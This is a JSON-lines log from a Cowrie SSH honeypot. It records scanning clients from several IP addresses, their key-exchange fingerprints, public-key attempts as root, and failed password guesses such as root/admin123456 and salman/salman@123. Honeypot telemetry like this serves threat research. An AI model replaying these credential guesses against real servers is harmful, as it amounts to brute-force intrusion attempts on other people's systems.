{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:51.582642Z","src_ip":"123.58.215.196","session":"b3a3449b400c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"salman","password":"salman@123","message":"login attempt [salman/salman@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:52.434450Z","src_ip":"123.58.215.196","session":"b3a3449b400c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:53.654577Z","src_ip":"123.58.215.196","session":"b3a3449b400c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.172.215","src_port":60762,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d7e02691b1","protocol":"ssh","message":"New connection: 96.127.172.215:60762 (10.17.0.5:22) [session: 75d7e02691b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.357130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.361619Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.390829Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:f1:9b:15:fb:ee:89:e6:bd:fd:e8:a2:2f:79:a3:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRVSDoDzeGYAunNZ/IB/qKT0a9I0QhJXuJA8192NTF66P/2r+FAh+VXF9ivWNtpljLI5WWOUWBzBgz5JDxAY6LN+Ly5ap37FTrsLtfBnIbNaW4x7BqDMP4dqO58yf5n9NTgAtOVeyO9v2tBt/1EzL4U6k5+CAL/qpC4tPPUkwDljDxJZQvF/eE1vIh5nlKE3Oi7d+448xybfF9VjUgPjtmz/qCHxClnjY26KBJGUUfnEYRE1cbxn7cFWzGg9uvDl0lxVPuJZYLt17K0tIeBUjXzbVmRcCz1/F6nZCe4+KXw0CeK8c6eqZZenqd6OKDRWAwMO+BhFjsNFrqg89tRPtn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:f1:9b:15:fb:ee:89:e6:bd:fd:e8:a2:2f:79:a3:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.520743Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:f1:9b:15:fb:ee:89:e6:bd:fd:e8:a2:2f:79:a3:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRVSDoDzeGYAunNZ/IB/qKT0a9I0QhJXuJA8192NTF66P/2r+FAh+VXF9ivWNtpljLI5WWOUWBzBgz5JDxAY6LN+Ly5ap37FTrsLtfBnIbNaW4x7BqDMP4dqO58yf5n9NTgAtOVeyO9v2tBt/1EzL4U6k5+CAL/qpC4tPPUkwDljDxJZQvF/eE1vIh5nlKE3Oi7d+448xybfF9VjUgPjtmz/qCHxClnjY26KBJGUUfnEYRE1cbxn7cFWzGg9uvDl0lxVPuJZYLt17K0tIeBUjXzbVmRcCz1/F6nZCe4+KXw0CeK8c6eqZZenqd6OKDRWAwMO+BhFjsNFrqg89tRPtn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.526073Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:67:73:f4:b7:93:ed:e4:3d:8f:62:8a:0f:e3:36:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy4J+ZusekNuFVP5vqBVanDNqVzfLDGuZoWt4pIiq6lyPhuN4PGGjR2FL6bJYYh0P4Pi8RCTj2hZjK4PqP9X7rEV2jCJgJkF/P1HVupro2rBcoNYuDhjrCOcu5kuShsCCTFyGbTLOIhgFy+mzs4gbciQktAZGw3II3WSWZp/HA0KhJYIZ9bD3udxz4lp6WfdblMw92/qf9q99v4/m5oa5C9h1Bb1Z+863W0056TiBFBHkk1ZEh5j/k//zgB4n2KbcnSMYNEUhBz2a9XLDP172QiS3ebwL8ZRzHOSaou9xqlNMqbyLB7U+A6blAm4gTZU4z4Lm5YXTxzco3yODDOzdjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:67:73:f4:b7:93:ed:e4:3d:8f:62:8a:0f:e3:36:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.555320Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:67:73:f4:b7:93:ed:e4:3d:8f:62:8a:0f:e3:36:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy4J+ZusekNuFVP5vqBVanDNqVzfLDGuZoWt4pIiq6lyPhuN4PGGjR2FL6bJYYh0P4Pi8RCTj2hZjK4PqP9X7rEV2jCJgJkF/P1HVupro2rBcoNYuDhjrCOcu5kuShsCCTFyGbTLOIhgFy+mzs4gbciQktAZGw3II3WSWZp/HA0KhJYIZ9bD3udxz4lp6WfdblMw92/qf9q99v4/m5oa5C9h1Bb1Z+863W0056TiBFBHkk1ZEh5j/k//zgB4n2KbcnSMYNEUhBz2a9XLDP172QiS3ebwL8ZRzHOSaou9xqlNMqbyLB7U+A6blAm4gTZU4z4Lm5YXTxzco3yODDOzdjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.557944Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:94:1d:65:bb:55:a2:0e:23:75:af:a9:d6:da:70:fc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPDxXtvDYl9kF4dfAxqI+C1RoM5j6LpPUuVg3tlXuQ0KQRgvdooKy2cJvqGlNa5EnZZedLEAf86/oh6taYF8IfOlDYJKi5fbHWk10wpGNU9lSaft6URqNG1OeyfB3z8Qs2sZzWbzTFr7XJzoePH+Fz4pirphJt8sUi+UHaqWrU3pAAAAFQDMLjy2XrwdJ5K4qJO9G+DlNhJqowAAAIABLyvZEdP2btfidLP9kF7r1cf81d07lkFvV0QzPFzFImjz8L2GlnCfx9xCxvbkBH0XY8Hu+BSjwKiIVvkLd00DqRSSplx1ysLW+5eDh257+ZhuA7RMBs4DKmKlPGJkZUVhZ23R4muBJter7vjxpIuAtuOZN3d9XBIIs5uqD/kCNgAAAIBcbqAJCXAoOh2f0d9VYG4b1ZQ73HMDdGalNnIP9ZhUtXrb8hznGy6Eu8dOQyO2zxY6hyQT5Sry/eh11bvPPegnTQrlpRPcZCpGqxSy4/z6jk1AlQHrYLpGZGpedJ6wi+4a2AARjeNmp8HxPanv27KWyfa7CXN3OjC801wJ3OHBjg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 9d:94:1d:65:bb:55:a2:0e:23:75:af:a9:d6:da:70:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.588014Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:94:1d:65:bb:55:a2:0e:23:75:af:a9:d6:da:70:fc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPDxXtvDYl9kF4dfAxqI+C1RoM5j6LpPUuVg3tlXuQ0KQRgvdooKy2cJvqGlNa5EnZZedLEAf86/oh6taYF8IfOlDYJKi5fbHWk10wpGNU9lSaft6URqNG1OeyfB3z8Qs2sZzWbzTFr7XJzoePH+Fz4pirphJt8sUi+UHaqWrU3pAAAAFQDMLjy2XrwdJ5K4qJO9G+DlNhJqowAAAIABLyvZEdP2btfidLP9kF7r1cf81d07lkFvV0QzPFzFImjz8L2GlnCfx9xCxvbkBH0XY8Hu+BSjwKiIVvkLd00DqRSSplx1ysLW+5eDh257+ZhuA7RMBs4DKmKlPGJkZUVhZ23R4muBJter7vjxpIuAtuOZN3d9XBIIs5uqD/kCNgAAAIBcbqAJCXAoOh2f0d9VYG4b1ZQ73HMDdGalNnIP9ZhUtXrb8hznGy6Eu8dOQyO2zxY6hyQT5Sry/eh11bvPPegnTQrlpRPcZCpGqxSy4/z6jk1AlQHrYLpGZGpedJ6wi+4a2AARjeNmp8HxPanv27KWyfa7CXN3OjC801wJ3OHBjg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.590492Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:66:83:92:3e:89:64:78:c6:48:f9:a8:12:6c:35:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVde5ziir8IAiNzCsux1ComfOc8fx1lqNeFlCviB7l78Ows7W/Ij6sQ3XWwquEFPNzQrrL6YJmWS+ike1lWgHSjhtF9z6+USroZkSSUWZxv1qaMJ5Wfc+dZOyro+pUfe5w/xeUpgy/nTFVz5Zs4Q089LZ7ZHfmGyXQhO/mOKAoLW5CrHfRO732nTEK4kU/ln5km2yXjEzC3OQ13tNjV54CAmFxImgQD5IzlQUD4xtfq4Nx3h0Zg/1PxcqL1sdaPPZIM7xx2qGMiGNvBCixrX1E2fPhH1njUbROEQdKKyLCZBCBzjNAD5ux0kV0WOSs3iu5f/0xuPUCkv7lF8M1Nqjz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:66:83:92:3e:89:64:78:c6:48:f9:a8:12:6c:35:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.619989Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:66:83:92:3e:89:64:78:c6:48:f9:a8:12:6c:35:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVde5ziir8IAiNzCsux1ComfOc8fx1lqNeFlCviB7l78Ows7W/Ij6sQ3XWwquEFPNzQrrL6YJmWS+ike1lWgHSjhtF9z6+USroZkSSUWZxv1qaMJ5Wfc+dZOyro+pUfe5w/xeUpgy/nTFVz5Zs4Q089LZ7ZHfmGyXQhO/mOKAoLW5CrHfRO732nTEK4kU/ln5km2yXjEzC3OQ13tNjV54CAmFxImgQD5IzlQUD4xtfq4Nx3h0Zg/1PxcqL1sdaPPZIM7xx2qGMiGNvBCixrX1E2fPhH1njUbROEQdKKyLCZBCBzjNAD5ux0kV0WOSs3iu5f/0xuPUCkv7lF8M1Nqjz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.623480Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:d9:05:a3:47:96:af:c8:59:b4:97:99:d3:14:3b:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwdV9uTO8zwf1fRY0k4Sdj+7UcUCu8gfHDCmgDUtHiP73mkvpAD+hu7f1FgLtxEUmzrLOlF4mgfDPjWmx/7SBuax3Lsb4HeC3VtVSfgBWUdxFigIjWRCRXMjVUlRWBnKueI8k88cKY13Od6wdTO56Uy2KYBtPvNlP0JL997NDs/dYwbDf54QpwPTQESI+erI34kys5W/cO6L3MxLt6lmUEVz4PHw1s9iDV5Whwl5fUhBdLRtraKT2U/7J2pRWiG86YVQxc6rqNZYCbCM5UKUkH9WqqFc/Xz9WPYjpW5NST+rbYRxk80K8Oz9P6wftsihmCYURTD5i+TnUUr4nggeKWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:d9:05:a3:47:96:af:c8:59:b4:97:99:d3:14:3b:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.657920Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:d9:05:a3:47:96:af:c8:59:b4:97:99:d3:14:3b:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwdV9uTO8zwf1fRY0k4Sdj+7UcUCu8gfHDCmgDUtHiP73mkvpAD+hu7f1FgLtxEUmzrLOlF4mgfDPjWmx/7SBuax3Lsb4HeC3VtVSfgBWUdxFigIjWRCRXMjVUlRWBnKueI8k88cKY13Od6wdTO56Uy2KYBtPvNlP0JL997NDs/dYwbDf54QpwPTQESI+erI34kys5W/cO6L3MxLt6lmUEVz4PHw1s9iDV5Whwl5fUhBdLRtraKT2U/7J2pRWiG86YVQxc6rqNZYCbCM5UKUkH9WqqFc/Xz9WPYjpW5NST+rbYRxk80K8Oz9P6wftsihmCYURTD5i+TnUUr4nggeKWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.660694Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:27:56.694168Z","src_ip":"96.127.172.215","session":"75d7e02691b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41320,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2ed23f60e79","protocol":"ssh","message":"New connection: 2.57.122.238:41320 (159.203.135.109:22) [session: e2ed23f60e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:07.041662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:07.055233Z","src_ip":"2.57.122.238","session":"e2ed23f60e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:07.158247Z","src_ip":"2.57.122.238","session":"e2ed23f60e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:07.465767Z","src_ip":"2.57.122.238","session":"e2ed23f60e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:08.571237Z","src_ip":"2.57.122.238","session":"e2ed23f60e79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52382,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bf3f88ba161","protocol":"ssh","message":"New connection: 27.71.230.31:52382 (159.203.135.109:22) [session: 6bf3f88ba161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:13.580971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:13.830065Z","src_ip":"27.71.230.31","session":"6bf3f88ba161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":34009,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecd150fc6a16","protocol":"ssh","message":"New connection: 103.248.120.6:34009 (10.17.0.5:22) [session: ecd150fc6a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:14.944427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:14.947710Z","src_ip":"103.248.120.6","session":"ecd150fc6a16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:15.174123Z","src_ip":"103.248.120.6","session":"ecd150fc6a16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:15.846291Z","src_ip":"27.71.230.31","session":"6bf3f88ba161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"home","message":"login attempt [root/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:16.107198Z","src_ip":"103.248.120.6","session":"ecd150fc6a16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:17.853731Z","src_ip":"103.248.120.6","session":"ecd150fc6a16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456","message":"login attempt [root/admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:20.119841Z","src_ip":"27.71.230.31","session":"6bf3f88ba161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":52504,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f10ff584c72","protocol":"ssh","message":"New connection: 91.211.95.158:52504 (159.203.135.109:22) [session: 2f10ff584c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:21.619542Z"}
